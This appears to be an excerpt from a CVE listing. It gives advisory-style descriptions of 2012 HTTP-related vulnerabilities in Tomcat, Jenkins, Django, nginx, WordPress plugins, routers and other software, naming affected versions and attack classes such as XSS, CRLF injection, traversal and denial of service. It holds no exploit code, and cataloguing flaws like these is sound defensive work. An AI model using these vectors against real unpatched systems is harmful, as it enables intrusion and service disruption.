11709| [CVE-2012-6072] CRLF injection vulnerability in CloudBees Jenkins before 1.491, Jenkins LTS before 1.480.1, and Jenkins Enterprise 1.424.x before 1.424.6.13, 1.447.x before 1.447.4.1, and 1.466.x before 1.466.10.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
11710| [CVE-2012-6026] The HTTP Profiler on the Cisco Aironet Access Point with software 15.2 and earlier does not properly manage buffers, which allows remote attackers to cause a denial of service (device reload) via crafted HTTP requests, aka Bug ID CSCuc62460.
11711| [CVE-2012-5970] The Huawei E585 device allows remote attackers to cause a denial of service (NULL pointer dereference and device outage) via crafted HTTP requests, as demonstrated by unspecified vulnerability-scanning software.
11712| [CVE-2012-5955] Unspecified vulnerability in the IBM HTTP Server component 5.3 in IBM WebSphere Application Server (WAS) for z/OS allows remote attackers to execute arbitrary commands via unknown vectors.
11713| [CVE-2012-5953] IBM WebSphere Message Broker 6.1 before 6.1.0.12, 7.0 before 7.0.0.6, and 8.0 before 8.0.0.2, when the Parse Query Strings option is enabled on an HTTPInput node, allows remote attackers to cause a denial of service (infinite loop) via a crafted query string.
11714| [CVE-2012-5936] IBM Sterling B2B Integrator 5.1 and 5.2 and Sterling File Gateway 2.1 and 2.2 do not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
11715| [CVE-2012-5887] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.36, 6.x before 6.0.36, and 7.x before 7.0.30 does not properly check for stale nonce values in conjunction with enforcement of proper credentials, which makes it easier for remote attackers to bypass intended access restrictions by sniffing the network for valid requests.
11716| [CVE-2012-5886] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.36, 6.x before 6.0.36, and 7.x before 7.0.30 caches information about the authenticated user within the session state, which makes it easier for remote attackers to bypass authentication via vectors related to the session ID.
11717| [CVE-2012-5885] The replay-countermeasure functionality in the HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.36, 6.x before 6.0.36, and 7.x before 7.0.30 tracks cnonce (aka client nonce) values instead of nonce (aka server nonce) and nc (aka nonce-count) values, which makes it easier for remote attackers to bypass intended access restrictions by sniffing the network for valid requests, a different vulnerability than CVE-2011-1184.
11718| [CVE-2012-5875] Firefly Media Server 1.0.0.1359 allows remote attackers to cause a denial of service (NULL pointer dereference) via a (1) crafted Connection HTTP header
11719| [CVE-2012-5825] Tweepy does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate, related to use of the Python httplib library.
11720| [CVE-2012-5786] The wsdl_first_https sample code in distribution/src/main/release/samples/wsdl_first_https/src/main/ in Apache CXF, possibly 2.6.0, does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.
11721| [CVE-2012-5783] Apache Commons HttpClient 3.x, as used in Amazon Flexible Payments Service (FPS) merchant Java SDK and other products, does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.
11722| [CVE-2012-5769] IBM SPSS Modeler 14.0, 14.1, 14.2 through FP3, and 15.0 before FP2 allows remote attackers to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML external entity declaration in conjunction with an entity reference.
11723| [CVE-2012-5657] The (1) Zend_Feed_Rss and (2) Zend_Feed_Atom classes in Zend_Feed in Zend Framework 1.11.x before 1.11.15 and 1.12.x before 1.12.1 allow remote attackers to read arbitrary files, send HTTP requests to intranet servers, and possibly cause a denial of service (CPU and memory consumption) via an XML External Entity (XXE) attack.
11724| [CVE-2012-5633] The URIMappingInterceptor in Apache CXF before 2.5.8, 2.6.x before 2.6.5, and 2.7.x before 2.7.2, when using the WSS4JInInterceptor, bypasses WS-Security processing, which allows remote attackers to obtain access to SOAP services via an HTTP GET request.
11725| [CVE-2012-5624] The XMLHttpRequest object in Qt before 4.8.4 enables http redirection to the file scheme, which allows man-in-the-middle attackers to force the read of arbitrary local files and possibly obtain sensitive information via a file: URL to a QML application.
11726| [CVE-2012-5568] Apache Tomcat through 7.0.x allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris.
11727| [CVE-2012-5533] The http_request_split_value function in request.c in lighttpd before 1.4.32 allows remote attackers to cause a denial of service (infinite loop) via a request with a header containing an empty token, as demonstrated using the "Connection: TE,,Keep-Alive" header.
11728| [CVE-2012-5368] phpMyAdmin 3.5.x before 3.5.3 uses JavaScript code that is obtained through an HTTP session to phpmyadmin.net without SSL, which allows man-in-the-middle attackers to conduct cross-site scripting (XSS) attacks by modifying this code.
11729| [CVE-2012-5344] Directory traversal vulnerability in the WebServer (Thttpd.bat) in IpTools (aka Tiny TCP/IP server) 0.1.4 allows remote attackers to read arbitrary files via a .. (dot dot) in a HTTP request.
11730| [CVE-2012-5335] Directory traversal vulnerability in Tiny Server 1.1.5 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the URI of an HTTP request.
11731| [CVE-2012-5332] at32 Reverse Proxy 1.060.310 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a long string in an HTTP header field, as demonstrated using the If-Unmodified-Since field.
11732| [CVE-2012-5303] Monkey HTTP Daemon 0.9.3 might allow local users to overwrite arbitrary files via a symlink attack on a PID file, as demonstrated by a pathname different from the default /var/run/monkey.pid pathname.
11733| [CVE-2012-4999] Mercury MR804 Router 8.0 3.8.1 Build 101220 Rel.53006nB allows remote attackers to cause a denial of service (service hang) via a crafted string in HTTP header fields such as (1) If-Modified-Since, (2) If-None-Match, or (3) If-Unmodified-Since. NOTE: some of these details are obtained from third party information.
11734| [CVE-2012-4930] The SPDY protocol 3 and earlier, as used in Mozilla Firefox, Google Chrome, and other products, can perform TLS encryption of compressed data without properly obfuscating the length of the unencrypted data, which allows man-in-the-middle attackers to obtain plaintext HTTP headers by observing length differences during a series of guesses in which a string in an HTTP request potentially matches an unknown string in an HTTP header, aka a "CRIME" attack.
11735| [CVE-2012-4929] The TLS protocol 1.2 and earlier, as used in Mozilla Firefox, Google Chrome, Qt, and other products, can encrypt compressed data without properly obfuscating the length of the unencrypted data, which allows man-in-the-middle attackers to obtain plaintext HTTP headers by observing length differences during a series of guesses in which a string in an HTTP request potentially matches an unknown string in an HTTP header, aka a "CRIME" attack.
11736| [CVE-2012-4846] IBM Lotus Notes 8.5.x before 8.5.3 FP3 does not include the HTTPOnly flag in a Set-Cookie header for a web-application cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, aka SPRs JMAS7TRNLN and SRAO8U3Q68.
11737| [CVE-2012-4816] IBM Rational Automation Framework (RAF) 3.x through 3.0.0.5 allows remote attackers to bypass intended Env Gen Wizard (aka Environment Generation Wizard) access restrictions by visiting context roots in HTTP sessions on port 8080.
11738| [CVE-2012-4710] Invensys Wonderware Win-XML Exporter 1522.148.0.0 allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML external entity declaration in conjunction with an entity reference.
11739| [CVE-2012-4689] Integer overflow in CimWebServer.exe in GE Intelligent Platforms Proficy HMI/SCADA - CIMPLICITY 4.01 through 8.0, and Proficy Process Systems with CIMPLICITY, allows remote attackers to cause a denial of service (daemon crash) via a malformed HTTP request.
11740| [CVE-2012-4592] The Portal in McAfee Enterprise Mobility Manager (EMM) before 10.0 does not set the secure flag for the ASP.NET session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
11741| [CVE-2012-4558] Multiple cross-site scripting (XSS) vulnerabilities in the balancer_handler function in the manager interface in mod_proxy_balancer.c in the mod_proxy_balancer module in the Apache HTTP Server 2.2.x before 2.2.24-dev and 2.4.x before 2.4.4 allow remote attackers to inject arbitrary web script or HTML via a crafted string.
11742| [CVE-2012-4557] The mod_proxy_ajp module in the Apache HTTP Server 2.2.12 through 2.2.21 places a worker node into an error state upon detection of a long request-processing time, which allows remote attackers to cause a denial of service (worker consumption) via an expensive request.
11743| [CVE-2012-4556] The token processing system (pki-tps) in Red Hat Certificate System (RHCS) before 8.1.3 allows remote attackers to cause a denial of service (Apache httpd web server child process restart) via certain unspecified empty search fields in a user certificate search query.
11744| [CVE-2012-4555] The token processing system (pki-tps) in Red Hat Certificate System (RHCS) before 8.1.3 does not properly handle interruptions of token format operations, which allows remote attackers to cause a denial of service (NULL pointer dereference and Apache httpd web server child process crash) via unspecified vectors.
11745| [CVE-2012-4545] The http_negotiate_create_context function in protocol/http/http_negotiate.c in ELinks 0.12 before 0.12pre6, when using HTTP Negotiate or GSS-Negotiate authentication, delegates user credentials through GSSAPI, which allows remote servers to authenticate as the client via the delegated credentials.
11746| [CVE-2012-4534] org/apache/tomcat/util/net/NioEndpoint.java in Apache Tomcat 6.x before 6.0.36 and 7.x before 7.0.28, when the NIO connector is used in conjunction with sendfile and HTTPS, allows remote attackers to cause a denial of service (infinite loop) by terminating the connection during the reading of a response.
11747| [CVE-2012-4528] The mod_security2 module before 2.7.0 for the Apache HTTP Server allows remote attackers to bypass rules, and deliver arbitrary POST data to a PHP application, via a multipart request in which an invalid part precedes the crafted data.
11748| [CVE-2012-4520] The django.http.HttpRequest.get_host function in Django 1.3.x before 1.3.4 and 1.4.x before 1.4.2 allows remote attackers to generate and display arbitrary URLs via crafted username and password Host header values.
11749| [CVE-2012-4505] Heap-based buffer overflow in the px_pac_reload function in lib/pac.c in libproxy 0.2.x and 0.3.x allows remote servers to have an unspecified impact via a crafted Content-Length size in an HTTP response header for a proxy.pac file request, a different vulnerability than CVE-2012-4504.
11750| [CVE-2012-4443] Monkey HTTP Daemon 0.9.3 uses a real UID of root and a real GID of root during execution of CGI scripts, which might allow local users to gain privileges by leveraging cgi-bin write access.
11751| [CVE-2012-4442] Monkey HTTP Daemon 0.9.3 retains the supplementary group IDs of the root account during operations with a non-root effective UID, which might allow local users to bypass intended file-read restrictions by leveraging a race condition in a file-permission check.
11752| [CVE-2012-4388] The sapi_header_op function in main/SAPI.c in PHP 5.4.0RC2 through 5.4.0 does not properly determine a pointer during checks for %0D sequences (aka carriage return characters), which allows remote attackers to bypass an HTTP response-splitting protection mechanism via a crafted URL, related to improper interaction between the PHP header function and certain browsers, as demonstrated by Internet Explorer and Google Chrome. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1398.
11753| [CVE-2012-4360] Cross-site scripting (XSS) vulnerability in the mod_pagespeed module 0.10.19.1 through 0.10.22.4 for the Apache HTTP Server allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
11754| [CVE-2012-4271] Multiple cross-site scripting (XSS) vulnerabilities in bad-behavior-wordpress-admin.php in the Bad Behavior plugin before 2.0.47 and 2.2.x before 2.2.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) PATH_INFO, (2) httpbl_key, (3) httpbl_maxage, (4) httpbl_threat, (5) reverse_proxy_addresses, or (6) reverse_proxy_header parameter.
11755| [CVE-2012-4268] Cross-site scripting (XSS) vulnerability in bulletproof-security/admin/options.php in the BulletProof Security plugin before .47.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the HTTP_ACCEPT_ENCODING header.
11756| [CVE-2012-4263] Cross-site scripting (XSS) vulnerability in inc/admin/content.php in the Better WP Security (better_wp_security) plugin before 3.2.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the HTTP_USER_AGENT header.
11757| [CVE-2012-4205] Mozilla Firefox before 17.0, Thunderbird before 17.0, and SeaMonkey before 2.14 assign the system principal, rather than the sandbox principal, to XMLHttpRequest objects created in sandboxes, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks or obtain sensitive information by leveraging a sandboxed add-on.
11758| [CVE-2012-4023] CRLF injection vulnerability in Pebble before 2.6.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
11759| [CVE-2012-4001] The mod_pagespeed module before 0.10.22.6 for the Apache HTTP Server does not properly verify its host name, which allows remote attackers to trigger HTTP requests to arbitrary hosts via unspecified vectors, as demonstrated by requests to intranet servers.
11760| [CVE-2012-3976] Mozilla Firefox before 15.0, Firefox ESR 10.x before 10.0.7, and SeaMonkey before 2.12 do not properly handle onLocationChange events during navigation between different https sites, which allows remote attackers to spoof the X.509 certificate information in the address bar via a crafted web page.
11761| [CVE-2012-3973] The debugger in the developer-tools subsystem in Mozilla Firefox before 15.0, when remote debugging is disabled, does not properly restrict access to the remote-debugging service, which allows remote attackers to execute arbitrary code by leveraging the presence of the HTTPMonitor extension and connecting to that service through the HTTPMonitor port.
11762| [CVE-2012-3884] AirDroid 1.0.4 beta implements authentication through direct transmission of a password hash over HTTP, which makes it easier for remote attackers to obtain access by sniffing the local wireless network and then replaying the authentication data.
11763| [CVE-2012-3848] Multiple cross-site scripting (XSS) vulnerabilities in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to d4d/exporters.php, (2) the HTTP Referer header to d4d/exporters.php, or (3) unspecified input to d4d/contextMenu.php.
11764| [CVE-2012-3829] Joomla! 2.5.3 allows remote attackers to obtain the installation path via the Host HTTP Header.
11765| [CVE-2012-3828] Cross-site scripting (XSS) vulnerability in Joomla! 2.5.3 allows remote attackers to inject arbitrary web script or HTML via the Host HTTP Header.
11766| [CVE-2012-3742] Safari in Apple iOS before 6 does not properly restrict use of an unspecified Unicode character that looks similar to the https lock indicator, which allows remote attackers to spoof https connections by placing this character in the TITLE element of a web page.
11767| [CVE-2012-3724] CFNetwork in Apple iOS before 6 does not properly identify the host portion of a URL, which allows remote attackers to obtain sensitive information by leveraging the construction of an HTTP request with an incorrect hostname derived from a malformed URL.
11768| [CVE-2012-3715] Apple Safari before 6.0.1 makes http requests for https URIs in certain circumstances involving a paste into the address bar, which allows user-assisted remote attackers to obtain sensitive information by sniffing the network.
11769| [CVE-2012-3696] CRLF injection vulnerability in WebKit in Apple Safari before 6.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP request splitting attacks via a crafted web site that leverages improper WebSockets URI handling.
11770| [CVE-2012-3526] The reverse proxy add forward module (mod_rpaf) 0.5 and 0.6 for the Apache HTTP Server allows remote attackers to cause a denial of service (server or application crash) via multiple X-Forwarded-For headers in a request.
11771| [CVE-2012-3502] The proxy functionality in (1) mod_proxy_ajp.c in the mod_proxy_ajp module and (2) mod_proxy_http.c in the mod_proxy_http module in the Apache HTTP Server 2.4.x before 2.4.3 does not properly determine the situations that require closing a back-end connection, which allows remote attackers to obtain sensitive information in opportunistic circumstances by reading a response that was intended for a different client.
11772| [CVE-2012-3499] Multiple cross-site scripting (XSS) vulnerabilities in the Apache HTTP Server 2.2.x before 2.2.24-dev and 2.4.x before 2.4.4 allow remote attackers to inject arbitrary web script or HTML via vectors involving hostnames and URIs in the (1) mod_imagemap, (2) mod_info, (3) mod_ldap, (4) mod_proxy_ftp, and (5) mod_status modules.
11773| [CVE-2012-3459] Cumin before 0.1.5444, as used in Red Hat Enterprise Messaging, Realtime, and Grid (MRG) 2.0, allows remote authenticated users to modify Condor attributes and possibly gain privileges via crafted additional parameters in an HTTP POST request, which triggers a job attribute change request to Condor.
11774| [CVE-2012-3442] The (1) django.http.HttpResponseRedirect and (2) django.http.HttpResponsePermanentRedirect classes in Django before 1.3.2 and 1.4.x before 1.4.1 do not validate the scheme of a redirect target, which might allow remote attackers to conduct cross-site scripting (XSS) attacks via a data: URL.
11775| [CVE-2012-3424] The decode_credentials method in actionpack/lib/action_controller/metal/http_authentication.rb in Ruby on Rails 3.x before 3.0.16, 3.1.x before 3.1.7, and 3.2.x before 3.2.7 converts Digest Authentication strings to symbols, which allows remote attackers to cause a denial of service by leveraging access to an application that uses a with_http_digest helper method, as demonstrated by the authenticate_or_request_with_http_digest method.
11776| [CVE-2012-3394] auth/ldap/ntlmsso_attempt.php in Moodle 2.0.x before 2.0.10, 2.1.x before 2.1.7, 2.2.x before 2.2.4, and 2.3.x before 2.3.1 redirects users from an https LDAP login URL to an http URL, which allows remote attackers to obtain sensitive information by sniffing the network.
11777| [CVE-2012-3382] Cross-site scripting (XSS) vulnerability in the ProcessRequest function in mcs/class/System.Web/System.Web/HttpForbiddenHandler.cs in Mono 2.10.8 and earlier allows remote attackers to inject arbitrary web script or HTML via a file with a crafted name and a forbidden extension, which is not properly handled in an error message.
11778| [CVE-2012-3350] SQL injection vulnerability in index.php in Webmatic 3.1.1 allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
11779| [CVE-2012-3302] Multiple cross-site scripting (XSS) vulnerabilities in IBM Lotus Domino 7.x and 8.x before 8.5.4 allow remote attackers to inject arbitrary web script or HTML via (1) a URL accessed during use of the Mail template in the WebMail UI or (2) a URL accessed during use of Domino Help through the Domino HTTP server.
11780| [CVE-2012-3301] Multiple CRLF injection vulnerabilities in the HTTP server in IBM Lotus Domino 8.5.x before 8.5.4 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input involving (1) Mozilla Firefox 3.0.9 and earlier or (2) unspecified browsers.
11781| [CVE-2012-3297] Cross-site scripting (XSS) vulnerability in the embedded HTTP server in the Service Console in IBM Tivoli Monitoring 6.2.2 before 6.2.2-TIV-ITM-FP0009 and 6.3.2 before 6.2.3-TIV-ITM-FP0001 allows remote attackers to inject arbitrary web script or HTML via a crafted URI.
11782| [CVE-2012-3123] Unspecified vulnerability in Oracle Sun Solaris 10 allows remote attackers to affect confidentiality, related to Apache HTTP Server.
11783| [CVE-2012-3117] Unspecified vulnerability in the Oracle Transportation Management component in Oracle Supply Chain Products Suite 5.5.06, 6.0, 6.1, and 6.2 allows remote authenticated users to affect confidentiality via unknown vectors related to HTTP.
11784| [CVE-2012-3088] Cisco AnyConnect Secure Mobility Client 3.1.x before 3.1.00495, and 3.2.x, does not check whether an HTTP request originally contains ScanSafe headers, which allows remote attackers to have an unspecified impact via a crafted request, aka Bug ID CSCua13166.
11785| [CVE-2012-3031] Multiple cross-site scripting (XSS) vulnerabilities in WebNavigator in Siemens WinCC 7.0 SP3 and earlier, as used in SIMATIC PCS7 and other products, allow remote attackers to inject arbitrary web script or HTML via a (1) GET parameter, (2) POST parameter, or (3) Referer HTTP header.
11786| [CVE-2012-3017] Siemens SIMATIC S7-400 PN CPU devices with firmware 5.x allow remote attackers to cause a denial of service (defect-mode transition and service outage) via (1) malformed HTTP traffic or (2) malformed IP packets.
11787| [CVE-2012-3006] The Innominate mGuard Smart HW before HW-101130 and BD before BD-101030, mGuard industrial RS, mGuard delta HW before HW-103060 and BD before BD-211010, mGuard PCI, mGuard blade, and EAGLE mGuard appliances with software before 7.5.0 do not use a sufficient source of entropy for private keys, which makes it easier for man-in-the-middle attackers to spoof (1) HTTPS or (2) SSH servers by predicting a key value.
11788| [CVE-2012-2969] Caucho Quercus, as distributed in Resin before 4.0.29, allows remote attackers to bypass intended restrictions on filename extensions for created files via a %00 sequence in a pathname within an HTTP request.
11789| [CVE-2012-2968] Directory traversal vulnerability in Caucho Quercus, as distributed in Resin before 4.0.29, allows remote attackers to create files in arbitrary directories via a .. (dot dot) in a pathname within an HTTP request.
11790| [CVE-2012-2965] Caucho Quercus, as distributed in Resin before 4.0.29, does not properly handle unspecified characters in the names of variables, which has unknown impact and remote attack vectors, related to an "HTTP Parameter Contamination" issue.
11791| [CVE-2012-2943] CRLF injection vulnerability in cryptographp.inc.php in Cryptographp allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the cfg parameter.
11792| [CVE-2012-2868] Race condition in Google Chrome before 21.0.1180.89 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving improper interaction between worker processes and an XMLHttpRequest (aka XHR) object.
11793| [CVE-2012-2733] java/org/apache/coyote/http11/InternalNioInputBuffer.java in the HTTP NIO connector in Apache Tomcat 6.x before 6.0.36 and 7.x before 7.0.28 does not properly restrict the request-header size, which allows remote attackers to cause a denial of service (memory consumption) via a large amount of header data.
11794| [CVE-2012-2694] actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain "['xyz', nil]" values, a related issue to CVE-2012-2660.
11795| [CVE-2012-2687] Multiple cross-site scripting (XSS) vulnerabilities in the make_variant_list function in mod_negotiation.c in the mod_negotiation module in the Apache HTTP Server 2.4.x before 2.4.3, when the MultiViews option is enabled, allow remote attackers to inject arbitrary web script or HTML via a crafted filename that is not properly handled during construction of a variant list.
11796| [CVE-2012-2660] actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain "[nil]" values, a related issue to CVE-2012-2694.
11797| [CVE-2012-2633] Cross-site scripting (XSS) vulnerability in wassup.php in the WassUp plugin before 1.8.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
11798| [CVE-2012-2632] SEIL routers with firmware SEIL/x86 1.00 through 2.35, SEIL/X1 2.30 through 3.75, SEIL/X2 2.30 through 3.75, and SEIL/B1 2.30 through 3.75, when the http-proxy and application-gateway features are enabled, do not properly handle the CONNECT command, which allows remote attackers to bypass intended URL restrictions via a TCP session.
11799| [CVE-2012-2590] Multiple cross-site scripting (XSS) vulnerabilities in ESCON SupportPortal Professional Edition 3.0 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted SRC attribute of an IFRAME element, (3) a crafted CONTENT attribute of an HTTP-EQUIV="Set-Cookie" META element, or (4) an innerHTML attribute within an XML document.
11800| [CVE-2012-2585] Multiple cross-site scripting (XSS) vulnerabilities in ManageEngine ServiceDesk Plus 8.1 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted Cascading Style Sheets (CSS) expression property, (3) a CSS expression property in the STYLE attribute of an arbitrary element, or (4) a crafted SRC attribute of an IFRAME element, or an e-mail message subject with (5) a SCRIPT element, (6) a CSS expression property in the STYLE attribute of an arbitrary element, (7) a crafted SRC attribute of an IFRAME element, (8) a crafted CONTENT attribute of an HTTP-EQUIV="refresh" META element, or (9) a data: URL in the CONTENT attribute of an HTTP-EQUIV="refresh" META element.
11801| [CVE-2012-2582] Multiple cross-site scripting (XSS) vulnerabilities in Open Ticket Request System (OTRS) Help Desk 2.4.x before 2.4.13, 3.0.x before 3.0.15, and 3.1.x before 3.1.9, and OTRS ITSM 2.1.x before 2.1.5, 3.0.x before 3.0.6, and 3.1.x before 3.1.6, allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a Cascading Style Sheets (CSS) expression property in the STYLE attribute of an arbitrary element or (2) UTF-7 text in an HTTP-EQUIV="CONTENT-TYPE" META element.
11802| [CVE-2012-2573] Multiple cross-site scripting (XSS) vulnerabilities in T-dah WebMail 3.2.0-2.3 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted Cascading Style Sheets (CSS) expression property, (3) a CSS expression property in the STYLE attribute of an arbitrary element, (4) an ONLOAD attribute of a BODY element, (5) a crafted SRC attribute of an IFRAME element, (6) a crafted CONTENT attribute of an HTTP-EQUIV="refresh" META element, or (7) a data: URL in the CONTENT attribute of an HTTP-EQUIV="refresh" META element.
11803| [CVE-2012-2571] Multiple cross-site scripting (XSS) vulnerabilities in WinWebMail Server 3.8.1.6 allow remote attackers to inject arbitrary web script or HTML via an e-mail message body with (1) a SCRIPT element, (2) a crafted Cascading Style Sheets (CSS) expression property, (3) a CSS expression property in the STYLE attribute of an arbitrary element, (4) a crafted SRC attribute of an IFRAME element, or (5) UTF-7 text in an HTTP-EQUIV="CONTENT-TYPE" META element.
11804| [CVE-2012-2567] The Xelex MobileTrack application 2.3.7 and earlier for Android uses hardcoded credentials, which allows remote attackers to obtain sensitive information via an unencrypted (1) FTP or (2) HTTP session.
11805| [CVE-2012-2566] Bloxx Web Filtering before 5.0.14 does not properly interpret X-Forwarded-For headers during access-control and logging operations for HTTPS connection attempts, which allows remote attackers to bypass intended IP address and domain restrictions, and trigger misleading log entries, via a crafted header.
11806| [CVE-2012-2560] Directory traversal vulnerability in WellinTech KingView 6.53 allows remote attackers to read arbitrary files via a crafted HTTP request to port 8001.
11807| [CVE-2012-2549] The IP-HTTPS server in Windows Server 2008 R2 and R2 SP1 and Server 2012 does not properly validate certificates, which allows remote attackers to bypass intended access restrictions via a revoked certificate, aka "Revoked Certificate Bypass Vulnerability."
11808| [CVE-2012-2441] RuggedCom Rugged Operating System (ROS) before 3.3 has a factory account with a password derived from the MAC Address field in a banner, which makes it easier for remote attackers to obtain access by performing a calculation on this address value, and then establishing a (1) SSH or (2) HTTPS session, a different vulnerability than CVE-2012-1803.
11809| [CVE-2012-2440] The default configuration of the TP-Link 8840T router enables web-based administration on the WAN interface, which allows remote attackers to establish an HTTP connection and possibly have unspecified other impact via unknown vectors.
11810| [CVE-2012-2439] The default configuration of the NETGEAR ProSafe FVS318N firewall enables web-based administration on the WAN interface, which allows remote attackers to establish an HTTP connection and possibly have unspecified other impact via unknown vectors.
11811| [CVE-2012-2438] ar web content manager (AWCM) 2.2 does not restrict the number of comment records that can be submitted through HTTP requests, which allows remote attackers to cause a denial of service (disk consumption) via the coment parameter to (1) show_video.php or (2) topic.php.
11812| [CVE-2012-2423] The intu-help-qb (aka Intuit Help System Async Pluggable Protocol) handlers in HelpAsyncPluggableProtocol.dll in Intuit QuickBooks 2009 through 2012, when Internet Explorer is used, provide different responses to remote requests depending on whether a ZIP pathname is valid, which allows remote attackers to obtain potentially sensitive information about the installation path and product version via a series of requests involving the Msxml2.XMLHTTP object.
11813| [CVE-2012-2380] Multiple cross-site request forgery (CSRF) vulnerabilities in the admin/editor console in Apache Roller before 5.0.1 allow remote attackers to hijack the authentication of admins or editors by leveraging the HTTP POST functionality.
11814| [CVE-2012-2374] CRLF injection vulnerability in the tornado.web.RequestHandler.set_header function in Tornado before 2.2.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input.
11815| [CVE-2012-2357] The Multi-Authentication feature in the Central Authentication Service (CAS) functionality in auth/cas/cas_form.html in Moodle 2.1.x before 2.1.6 and 2.2.x before 2.2.3 does not use HTTPS, which allows remote attackers to obtain credentials by sniffing the network.
11816| [CVE-2012-2330] The Update method in src/node_http_parser.cc in Node.js before 0.6.17 and 0.7 before 0.7.8 does not properly check the length of a string, which allows remote attackers to obtain sensitive information (request header contents) and possibly spoof HTTP headers via a zero length string.
11817| [CVE-2012-2329] Buffer overflow in the apache_request_headers function in sapi/cgi/cgi_main.c in PHP 5.4.x before 5.4.3 allows remote attackers to cause a denial of service (application crash) via a long string in the header of an HTTP request.
11818| [CVE-2012-2223] The xplat agent in Novell ZENworks Configuration Management (ZCM) 10.3.x before 10.3.4 and 11.x before 11.2 enables the HTTP TRACE method, which might make it easier for remote attackers to conduct cross-site tracing (XST) attacks via unspecified vectors.
11819| [CVE-2012-2213] ** DISPUTED ** Squid 3.1.9 allows remote attackers to bypass the access configuration for the CONNECT method by providing an arbitrary allowed hostname in the Host HTTP header. NOTE: this issue might not be reproducible, because the researcher is unable to provide a squid.conf file for a vulnerable system, and the observed behavior is consistent with a squid.conf file that was (perhaps inadvertently) designed to allow access based on a "req_header Host" acl regex that matches www.uol.com.br.
11820| [CVE-2012-2212] ** DISPUTED ** McAfee Web Gateway 7.0 allows remote attackers to bypass the access configuration for the CONNECT method by providing an arbitrary allowed hostname in the Host HTTP header. NOTE: this issue might not be reproducible, because the researcher did not provide configuration details for the vulnerable system, and the observed behavior might be consistent with a configuration that was (perhaps inadvertently) designed to allow access based on Host HTTP headers.
11821| [CVE-2012-2190] IBM Global Security Kit (aka GSKit), as used in IBM HTTP Server in IBM WebSphere Application Server (WAS) 6.1.x before 6.1.0.45, 7.0.x before 7.0.0.25, 8.0.x before 8.0.0.4, and 8.5.x before 8.5.0.1, allows remote attackers to cause a denial of service (daemon crash) via a crafted ClientHello message in the TLS Handshake Protocol.
11822| [CVE-2012-2162] The Web Server Plug-in in IBM WebSphere Application Server (WAS) 8.0 and earlier uses unencrypted HTTP communication after expiration of the plugin-key.kdb password, which allows remote attackers to obtain sensitive information by sniffing the network, or spoof arbitrary servers via a man-in-the-middle attack.
11823| [CVE-2012-2138] The @CopyFrom operation in the POST servlet in the org.apache.sling.servlets.post bundle before 2.1.2 in Apache Sling does not prevent attempts to copy an ancestor node to a descendant node, which allows remote attackers to cause a denial of service (infinite loop) via a crafted HTTP request.
11824| [CVE-2012-2104] cgi-bin/munin-cgi-graph in Munin 2.x writes data to a log file without sanitizing non-printable characters, which might allow user-assisted remote attackers to inject terminal emulator escape sequences and execute arbitrary commands or delete arbitrary files via a crafted HTTP request.
11825| [CVE-2012-2089] Buffer overflow in ngx_http_mp4_module.c in the ngx_http_mp4_module module in nginx 1.0.7 through 1.0.14 and 1.1.3 through 1.1.18, when the mp4 directive is used, allows remote attackers to cause a denial of service (memory overwrite) or possibly execute arbitrary code via a crafted MP4 file.
11826| [CVE-2012-2041] CRLF injection vulnerability in the Component Browser in Adobe ColdFusion 8.0 through 9.0.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
